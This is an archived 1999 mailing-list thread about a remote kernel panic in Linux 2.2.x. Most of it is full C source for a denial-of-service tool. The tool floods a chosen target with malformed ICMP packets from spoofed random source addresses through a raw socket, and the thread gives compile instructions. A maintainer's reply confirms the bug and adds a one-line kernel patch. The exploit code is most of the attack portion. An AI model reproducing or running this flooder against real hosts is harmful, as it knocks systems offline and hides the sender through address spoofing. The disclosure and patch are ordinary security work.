TUCoPS :: Linux :: Discontinued :: l22dos.txt

Network based Linux 2.2 DoS Attack (up to 2.2.9) that results in a kernel panic.


[ http://www.rootshell.com/ ]

Date: Tue, 1 Jun 1999 17:43:17 +0200
From: Piotr Wilkin <pwl@WOTAN.2SLO.WAW.PL>
Subject: Linux kernel 2.2.x vulnerability/exploit

I'm sorry if this has been noticed before, but since I did't find anything
in the archives, I post it here. There seems to be a bug in kernels 2.2.x
(tested on 2.2.7 and 2.2.9), that causes them to panic when they are sent a
large number of specific ICMP packages. I think the problem comes from the
combination of the mangled header length (shorter or longer ihl's don't
cause hangup) and the random ICMP packets (random type/subtype and source
address) this program sends. Windows 9x and FreeBSD 3.0 seem to be
unaffected.


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Here is the program source (under Linux):

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>

struct icmp_hdr
{
    struct iphdr iph;
    struct icmp icp;
    char text[1002];
} icmph;

int in_cksum(int *ptr, int nbytes)
{
    long sum;
    u_short oddbyte, answer;
    sum = 0;
    while (nbytes > 1)
    {
        sum += *ptr++;
        nbytes -= 2;
    }
    if (nbytes == 1)
    {
        oddbyte = 0;
        *((u_char *)&oddbyte) = *(u_char *)ptr;
        sum += oddbyte;
    }
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    answer = ~sum;
    return(answer);
}

struct sockaddr_in sock_open(char *address, int socket, int prt)
{
        struct hostent *host;
        if ((host = gethostbyname(address)) == NULL)
        {
                perror("Unable to get host name");
                exit(-1);
        }       
        struct sockaddr_in sin;
        bzero((char *)&sin, sizeof(sin));
        sin.sin_family = PF_INET;
        sin.sin_port = htons(prt);
        bcopy(host->h_addr, (char *)&sin.sin_addr, host->h_length);
        return(sin);
}

void main(int argc, char **argv)
{
        int sock, i, ctr, k;
        int on = 1;
        struct sockaddr_in addrs;
        if (argc < 3)
        {
                printf("Usage: %s <ip_addr> <port>\n", argv[0]);
                exit(-1);
        }
        for (i = 0; i < 1002; i++)
        {
            icmph.text[i] = random() % 255;
        }
        sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
        if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
        {
            perror("Can't set IP_HDRINCL option on socket");
        }
        if (sock < 0)
        {
            exit(-1);
        }
        fflush(stdout);
        for (ctr = 0;ctr < 1001;ctr++)
        {
            ctr = ctr % 1000;
            addrs = sock_open(argv[1], sock, atoi(argv[2]));
            icmph.iph.version = 4;
            icmph.iph.ihl = 6;
            icmph.iph.tot_len = 1024;
            icmph.iph.id = htons(0x001);
            icmph.iph.ttl = 255;
            icmph.iph.protocol = IPPROTO_ICMP;
            icmph.iph.saddr = ((random() % 255) * 255 * 255 * 255) +
            ((random() % 255) * 65535) +
            ((random() % 255) * 255) +
            (random() % 255);
            icmph.iph.daddr = addrs.sin_addr.s_addr;
            icmph.iph.frag_off = htons(0);
            icmph.icp.icmp_type = random() % 14;
            icmph.icp.icmp_code = random() % 10;
            icmph.icp.icmp_cksum = 0;
            icmph.icp.icmp_id = 2650;
            icmph.icp.icmp_seq = random() % 255;
            icmph.icp.icmp_cksum = in_cksum((int *)&icmph.icp, 1024);
            if (sendto(sock, &icmph, 1024, 0, (struct sockaddr *)&addrs, sizeof(struct sockaddr)) == -1)
            {
                if (errno != ENOBUFS) printf("X");
            }
            if (ctr == 0) printf("b00m ");
            fflush(stdout);
        }
        close(sock);
}

----------------------------------------------------------------------------

Date: Wed, 2 Jun 1999 08:59:07 +0200
From: Piotr Wilkin <pwl@WOTAN.2SLO.WAW.PL>
Subject: Re: Linux kernel 2.2.x vulnerability/exploit

I forgot to add two things

1) This code is very machine-specific, I tried it on our nfs-mounted debian
in school, but I don't know what are the hardware "requirements" for it to
work

2) It was compiled by g++ -- g++ exploit.cpp -o exploit

P.S. Sorry, I don't KNOW how to patch it (I hope the guys at kernel.org
know)

----------------------------------------------------------------------------

Date: Tue, 1 Jun 1999 23:30:33 +0100
From: Alan Cox <alan@LXORGUK.UKUU.ORG.UK>
Subject: Linux 2.2 DoS attack

Ok problem confirmed. Its not icmp however - in fact the program given
has some bugs that cause it. If it had been a correctly written icmp tester
it wouldnt have worked. A blessing in disguise.

Anyway the fix seems to be this. Sorry it took so long to sort out.


--- ../linux.vanilla/net/ipv4/ip_options.c      Wed May 12 16:49:38 1999
+++ net/ipv4/ip_options.c       Tue Jun  1 22:11:46 1999
@@ -452,7 +452,6 @@
 error:
        if (skb) {
                icmp_send(skb, ICMP_PARAMETERPROB, 0, htonl((pp_ptr-iph)<<24));
-               kfree_skb(skb);
        }
        return -EINVAL;
 }

Alan

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH